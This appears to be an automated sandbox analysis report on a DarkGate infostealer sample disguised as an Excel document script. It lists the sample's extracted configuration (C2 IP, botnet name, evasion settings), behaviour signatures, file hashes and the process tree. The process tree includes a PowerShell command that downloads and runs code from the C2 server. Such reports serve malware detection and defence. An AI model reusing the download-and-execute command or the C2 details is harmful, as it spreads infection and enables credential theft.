Analysis

  • max time kernel
    114s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 15:19

General

  • Target
    MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs
  • Size 880KB
  • Sample240409-sp6adadh8w
  • SHA256 2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • 103.124.106.237

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    bedxvHpr

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\kady\AutoHotkey.exe
        "C:\kady\AutoHotkey.exe" C:/kady/script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1216
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/kady/
        3⤵
        • Views/modifies file attributes
        PID:2084
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=2228,i,521073434451423547,2311651514500527526,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4284

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_g4ik10bm.o55.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4ik10bm.o55.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          AutoHotkey.exe

          • Path C:\kady\AutoHotkey.exe
          • Size 892KB
          • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
          • MD5 SHA1 SHA512 SSDEEP

          script.ahk

          • Path C:\kady\script.ahk
          • Size 441B
          • SHA256 8e7070383517cc127dfff26a726a47fc48a9169591e29c8d16df6fdd6d2c591e
          • MD5 SHA1 SHA512

          test.txt

          • Path C:\kady\test.txt
          • Size 922KB
          • SHA256 70223ac25fecd28385f39f36367f93b045c312f062354497dd2702e7d295784d
          • MD5 SHA1 SHA512 SSDEEP

          memory/1216-37-0x00000000031E0000-0x0000000003254000-memory.dmp

          memory/1216-35-0x00000000031E0000-0x0000000003254000-memory.dmp

          memory/2956-12-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

          memory/2956-14-0x000001D622DD0000-0x000001D622F92000-memory.dmp

          memory/2956-32-0x00007FFFB8DD0000-0x00007FFFB9891000-memory.dmp

          memory/2956-13-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

          memory/2956-11-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

          memory/2956-0-0x000001D6226B0000-0x000001D6226D2000-memory.dmp

          memory/2956-10-0x00007FFFB8DD0000-0x00007FFFB9891000-memory.dmp